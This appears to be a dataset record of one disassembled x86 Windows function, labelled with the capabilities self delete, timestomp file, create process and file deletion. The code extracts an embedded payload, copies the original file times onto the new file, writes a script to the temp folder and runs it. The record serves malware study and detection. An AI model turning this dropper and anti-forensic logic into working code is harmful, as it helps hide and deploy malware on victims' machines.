Function at 0x4087a4
Capabilities:
Create process on windows
Delete file
Get common file path
Get file size
Read file on windows
Self delete
Timestomp file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x5a
push 0
push 0
dec ecx
jne 0x4087ac
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x408c13
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x298]
xor eax, eax
call fcn.00402724
mov eax, dword [ebp - 0x298]
mov edx, 0x40
call fcn.00404a10
mov esi, eax
cmp esi, 0xffffffff
je 0x408be8
push 0
push esi
call sub.kernel32.dll_GetFileSize
cmp eax, dword [0x4129c8]
setg bl
test bl, bl
je 0x408be2
lea edx, [ebp - 0x29c]
mov eax, 0x408c2c
call fcn.00404c04
mov eax, dword [ebp - 0x29c]
push eax
lea edx, [ebp - 0x2a0]
xor eax, eax
call fcn.00402724
mov edx, dword [ebp - 0x2a0]
lea eax, [ebp - 0x14]
pop ecx
call fcn.00403408
mov eax, dword [ebp - 0x14]
call fcn.004035bc
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp - 0x14]
call fcn.00404a00
test al, al
jne 0x408be2
mov eax, dword [ebp - 0x14]
call fcn.00404860
mov edi, eax
cmp edi, 0xffffffff
je 0x408be2
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
call sub.kernel32.dll_GetFileTime
lea eax, [ebp - 0x1c]
mov edx, 0x408c3c
call fcn.00403214
lea eax, [ebp - 0x2a8]
mov ecx, 0x408c4c
mov edx, dword [ebp - 0x1c]
call fcn.00403408
mov eax, dword [ebp - 0x2a8]
lea edx, [ebp - 0x2a4]
call fcn.00404c04
mov eax, dword [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x2ac]
call fcn.00408754
mov edx, dword [ebp - 0x2ac]
lea eax, [ebp - 0x10]
pop ecx
call fcn.00403408
mov eax, dword [ebp - 0x10]
call fcn.00404860
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x408941
mov eax, dword [0x4129c8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x408932
push 0
lea eax, [ebp - 8]
push eax
mov edx, 0x1000000
mov eax, dword [ebp - 0xc]
call fcn.00407f48
push eax
mov eax, dword [0x4129b0]
push eax
push esi
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 8], 0
je 0x408932
mov eax, dword [ebp - 8]
sub dword [ebp - 0xc], eax
mov edx, dword [0x4129b0]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00404884
cmp dword [ebp - 0xc], 0
ja 0x4088ef
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle
mov byte [ebp - 0x35], 1
jmp 0x408945
mov byte [ebp - 0x35], 0
push 0
push 0
mov eax, dword [0x4129c8]
push eax
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push 0x1000000
mov eax, dword [0x4129b0]
push eax
push esi
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 8], 0
je 0x408984
mov edx, dword [0x4129b0]
mov ecx, dword [ebp - 8]
mov eax, edi
call fcn.00404884
jmp 0x408955
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call sub.kernel32.dll_SetFileTime
push edi
call sub.kernel32.dll_CloseHandle
mov byte [ebp - 0x13a], 0
lea eax, [ebp - 0x13a]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
mov byte [ebp - 0x23f], 0
lea eax, [ebp - 0x23f]
push eax
push 0
lea edx, [ebp - 0x2b0]
mov eax, 0x408c5c
call fcn.00404c04
mov eax, dword [ebp - 0x2b0]
call fcn.004035bc
push eax
lea eax, [ebp - 0x13a]
push eax
call sub.kernel32.dll_GetTempFileNameA
lea edx, [ebp - 0x2b4]
mov eax, 0x408c6c
call fcn.00404c04
mov eax, dword [ebp - 0x2b4]
push eax
lea eax, [ebp - 0x2b8]
lea edx, [ebp - 0x23f]
mov ecx, 0x105
call fcn.004033a4
mov eax, dword [ebp - 0x2b8]
lea ecx, [ebp - 0x18]
pop edx
call fcn.004048b8
mov eax, dword [ebp - 0x18]
call fcn.004035bc
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp - 0x18]
call fcn.00404860
mov edi, eax
cmp edi, 0xffffffff
je 0x408be2
push 0x408c7c
lea edx, [ebp - 0x2bc]
xor eax, eax
call fcn.00402724
push dword [ebp - 0x2bc]
push 0x408c94
push 0x408ca0
lea edx, [ebp - 0x2c0]
xor eax, eax
call fcn.00402724
push dword [ebp - 0x2c0]
push 0x408cb4
push 0x408cc0
push 0x408cd8
push dword [ebp - 0x14]
push 0x408ce8
lea edx, [ebp - 0x2c8]
xor eax, eax
call fcn.00402724
mov eax, dword [ebp - 0x2c8]
lea edx, [ebp - 0x2c4]
call fcn.004046d0
push dword [ebp - 0x2c4]
push 0x408c94
push 0x408ca0
push dword [ebp - 0x14]
push 0x408cb4
push 0x408cf4
push 0x408cb4
lea edx, [ebp - 0x2cc]
xor eax, eax
call fcn.00402724
push dword [ebp - 0x2cc]
push 0x408c94
push 0x408d0c
push 0x408d1c
push dword [ebp - 0x18]
push 0x408c94
lea eax, [ebp - 0x1c]
mov edx, 0x17
call fcn.0040347c
mov eax, dword [ebp - 0x1c]
call fcn.004033bc
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004035bc
mov edx, eax
mov eax, edi
pop ecx
call fcn.00404884
push edi
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x294]
xor ecx, ecx
mov edx, 0x44
call fcn.004027f4
mov dword [ebp - 0x268], 1
mov word [ebp - 0x264], 0
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x294]
push eax
lea edx, [ebp - 0x2d4]
xor eax, eax
call fcn.00402724
mov eax, dword [ebp - 0x2d4]
lea edx, [ebp - 0x2d0]
call fcn.0040461c
mov eax, dword [ebp - 0x2d0]
call fcn.004035bc
push eax
push 0
push 0x40
push 0
push 0
push 0
mov eax, dword [ebp - 0x18]
call fcn.004035bc
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x408be2
mov eax, dword [ebp - 0x24c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x250]
push eax
call sub.kernel32.dll_CloseHandle
cmp byte [ebp - 0x35], 0
je 0x408bdb
mov eax, dword [0x4129c0]
push eax
call sub.kernel32.dll_CloseHandle
xor edx, edx
mov eax, dword [ebp - 0x10]
call fcn.0040e798
push 0
call sub.kernel32.dll_ExitProcess_1
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408c1a
lea eax, [ebp - 0x2d4]
mov edx, 0x10
call fcn.004031a0
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.004031a0
ret